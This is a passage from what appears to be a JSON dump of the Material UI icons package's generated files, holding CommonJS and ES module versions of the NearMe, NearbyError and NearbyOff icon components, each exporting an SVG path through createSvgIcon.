    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9zm10.61 13.44L4.22 1.39 2.81 2.81l5.07 5.07L3 9.69v1.41l7.07 2.83L12.9 21h1.41l1.81-4.88 5.07 5.07z\"\n}), 'NearMeDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9-1.56-1.56 1.5-4.05-4.05 1.5zm9.19 14.85-5.07-5.07L14.31 21H12.9l-2.83-7.07L3 11.1V9.69l4.88-1.81-5.07-5.07L4.22 1.4 22.6 19.78zm-6.62-6.62L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\"\n}), 'NearMeDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9-1.56-1.56 1.5-4.05-4.05 1.5zm9.19 14.85-5.07-5.07L14.31 21H12.9l-2.83-7.07L3 11.1V9.69l4.88-1.81-5.07-5.07L4.22 1.4 22.6 19.78zm-6.62-6.62L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\"\n}), 'NearMeDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6.34 6.95-2.58c.8-.3 1.58.48 1.29 1.29L17.66 12zm9.9 12.73L4.93 2.1a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.36 4.36-4.2 1.56c-.41.16-.68.54-.68.97 0 .42.26.8.65.96l6.42 2.57 2.57 6.42c.16.39.54.65.96.65.43 0 .82-.27.97-.67l1.56-4.2 4.36 4.36c.39.39 1.02.39 1.41 0 .39-.4.39-1.03 0-1.42\"\n}), 'NearMeDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6.34 6.95-2.58c.8-.3 1.58.48 1.29 1.29L17.66 12zm9.9 12.73L4.93 2.1a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.36 4.36-4.2 1.56c-.41.16-.68.54-.68.97 0 .42.26.8.65.96l6.42 2.57 2.57 6.42c.16.39.54.65.96.65.43 0 .82-.27.97-.67l1.56-4.2 4.36 4.36c.39.39 1.02.39 1.41 0 .39-.4.39-1.03 0-1.42\"\n}), 'NearMeDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9zm10.61 13.44L4.22 1.39 2.81 2.81l5.07 5.07L3 9.69v1.41l7.07 2.83L12.9 21h1.41l1.81-4.88 5.07 5.07z\"\n}), 'NearMeDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9zm10.61 13.44L4.22 1.39 2.81 2.81l5.07 5.07L3 9.69v1.41l7.07 2.83L12.9 21h1.41l1.81-4.88 5.07 5.07z\"\n}), 'NearMeDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.1 10.44 1.5-4.05-4.05 1.5zm-1.53 4.13L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9-1.56-1.56 1.5-4.05-4.05 1.5zm9.19 14.85-5.07-5.07L14.31 21H12.9l-2.83-7.07L3 11.1V9.69l4.88-1.81-5.07-5.07L4.22 1.4 22.6 19.78zm-6.62-6.62L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\"\n}, \"1\")], 'NearMeDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.1 10.44 1.5-4.05-4.05 1.5zm-1.53 4.13L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.34 21 3l-3.34 9-1.56-1.56 1.5-4.05-4.05 1.5zm9.19 14.85-5.07-5.07L14.31 21H12.9l-2.83-7.07L3 11.1V9.69l4.88-1.81-5.07-5.07L4.22 1.4 22.6 19.78zm-6.62-6.62L9.43 9.43l-2.71 1.01 4.89 1.95 1.95 4.89z\"\n}, \"1\")], 'NearMeDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.27 6.73-4.24 10.13-1.32-3.42-.32-.83-.82-.32-3.43-1.33zM21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.27 6.73-4.24 10.13-1.32-3.42-.32-.83-.82-.32-3.43-1.33zM21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.75 3.94 4.07 10.08c-.83.35-.81 1.53.02 1.85L9.43 14c.26.1.47.31.57.57l2.06 5.33c.32.84 1.51.86 1.86.03l6.15-14.67c.33-.83-.5-1.66-1.32-1.32\"\n}), 'NearMeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.75 3.94 4.07 10.08c-.83.35-.81 1.53.02 1.85L9.43 14c.26.1.47.31.57.57l2.06 5.33c.32.84 1.51.86 1.86.03l6.15-14.67c.33-.83-.5-1.66-1.32-1.32\"\n}), 'NearMeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3 3 10.53v.98l6.84 2.65L12.48 21h.98z\"\n}), 'NearMeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.39 12.61.32.83 1.32 3.42 4.24-10.13-10.13 4.24 3.42 1.33z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 11.51 6.84 2.65L12.48 21h.98L21 3 3 10.53zm14.27-4.78-4.24 10.13-1.32-3.42-.32-.83-.82-.32-3.43-1.33z\"\n}, \"1\")], 'NearMeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearMeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.39 12.61.32.83 1.32 3.42 4.24-10.13-10.13 4.24 3.42 1.33z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 11.51 6.84 2.65L12.48 21h.98L21 3 3 10.53zm14.27-4.78-4.24 10.13-1.32-3.42-.32-.83-.82-.32-3.43-1.33z\"\n}, \"1\")], 'NearMeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyError.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyError');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyError.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyError');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.29 8.28-3.01 3.01c-.39.39-.39 1.02 0 1.41l3.01 3.01c.39.39 1.02.39 1.41 0l3.01-3.01c.39-.39.39-1.02 0-1.41L12.7 8.28c-.38-.39-1.02-.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.59 2.59-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0l4.58-4.6V13.2l-6 6L4.79 12 12 4.79l6 6V7.17l-4.58-4.58c-.78-.79-2.05-.79-2.83 0M20 11v6c0 .55.45 1 1 1s1-.45 1-1v-6c0-.55-.45-1-1-1s-1 .45-1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"21\",\n  cy: \"21\",\n  r: \"1\"\n}, \"2\")], 'NearbyErrorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.29 8.28-3.01 3.01c-.39.39-.39 1.02 0 1.41l3.01 3.01c.39.39 1.02.39 1.41 0l3.01-3.01c.39-.39.39-1.02 0-1.41L12.7 8.28c-.38-.39-1.02-.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.59 2.59-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0l4.58-4.6V13.2l-6 6L4.79 12 12 4.79l6 6V7.17l-4.58-4.58c-.78-.79-2.05-.79-2.83 0M20 11v6c0 .55.45 1 1 1s1-.45 1-1v-6c0-.55-.45-1-1-1s-1 .45-1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"21\",\n  cy: \"21\",\n  r: \"1\"\n}, \"2\")], 'NearbyErrorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.58 16.42 12 12 16.42 7.58 12zm0 11.62L4.8 12 12 4.8l6 6V7.17l-5.99-5.99L1.18 12.01l10.83 10.83L18 16.83V13.2zm8 .8h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.58 16.42 12 12 16.42 7.58 12zm0 11.62L4.8 12 12 4.8l6 6V7.17l-5.99-5.99L1.18 12.01l10.83 10.83L18 16.83V13.2zm8 .8h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyErrorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 7.57 4.42 4.42L12 16.41l-4.42-4.42zm0 11.62-7.2-7.2 7.2-7.2 6 6V7.16l-4.58-4.58c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0L18 16.82v-3.63zm8 .81h2v2h-2zm2-10h-2v8h2z\"\n}), 'NearbyErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.22 7.77-1.41 1.41L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 1.39 4.22 2.8 2.81zm-7-4.17-1.39-1.39-.8.8L7.58 12l.8-.8-1.4-1.39L4.8 12l7.2 7.2zM16.42 12 12 7.58l-.8.8 4.42 4.42z\"\n}), 'NearbyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.22 7.77-1.41 1.41L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 1.39 4.22 2.8 2.81zm-7-4.17-1.39-1.39-.8.8L7.58 12l.8-.8-1.4-1.39L4.8 12l7.2 7.2zM16.42 12 12 7.58l-.8.8 4.42 4.42z\"\n}), 'NearbyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.22 7.77-1.41 1.41L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 1.39 4.22 2.8 2.81zm-7-4.17-1.39-1.39-.8.8L7.58 12l.8-.8-1.4-1.39L4.8 12l7.2 7.2zM16.42 12 12 7.58l-.8.8 4.42 4.42z\"\n}), 'NearbyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.22 7.77-1.41 1.41L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 1.39 4.22 2.8 2.81zm-7-4.17-1.39-1.39-.8.8L7.58 12l.8-.8-1.4-1.39L4.8 12l7.2 7.2zM16.42 12 12 7.58l-.8.8 4.42 4.42z\"\n}), 'NearbyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.93 8.48c-.39.39-1.02.39-1.41 0L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.98 16.97c.38.38.38 1.02-.01 1.41m-6.29-4.88-1.39-1.39-.09.09c-.39.39-1.02.39-1.42 0l-3.01-3.01a.996.996 0 0 1 0-1.41l.09-.09-1.4-1.39L4.8 12l7.2 7.2zm1.52-5.73L12.7 8.28a.996.996 0 0 0-1.41 0l-.09.1 4.42 4.42.09-.09c.39-.39.39-1.03 0-1.42\"\n}), 'NearbyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.41 13.42 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l2.58-2.58c.78-.78 2.05-.78 2.83 0l8 8c.79.78.79 2.04 0 2.83m-.93 8.48c-.39.39-1.02.39-1.41 0L16 18.83l-2.58 2.58c-.78.78-2.05.78-2.83 0l-8-8c-.78-.78-.78-2.05 0-2.83L5.17 8 2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.98 16.97c.38.38.38 1.02-.01 1.41m-6.29-4.88-1.39-1.39-.09.09c-.39.39-1.02.39-1.42 0l-3.01-3.01a.996.996 0 0 1 0-1.41l.09-.09-1.4-1.39L4.8 12l7.2 7.2zm1.52-5.73L12.7 8.28a.996.996 0 0 0-1.41 0l-.09.1 4.42 4.42.09-.09c.39-.39.39-1.03 0-1.42\"\n}), 'NearbyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.82 12.01 18.83 16l-1.81-1.81L19.2 12 12 4.8 9.81 6.99 8 5.17l3.99-3.99zm-1.63 9.18-1.41 1.41L16 18.83l-3.99 3.99L1.18 11.99 5.17 8 1.39 4.22 2.8 2.81zm-7-4.17-1.39-1.39-.8.8L7.58 12l.8-.8-1.4-1.39L4.8 12l7.2 7.2zM16.42 12 12 7.58l-.8.8 4.42 4.42z\"\n}), 'NearbyOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NearbyOffSharp.mjs",
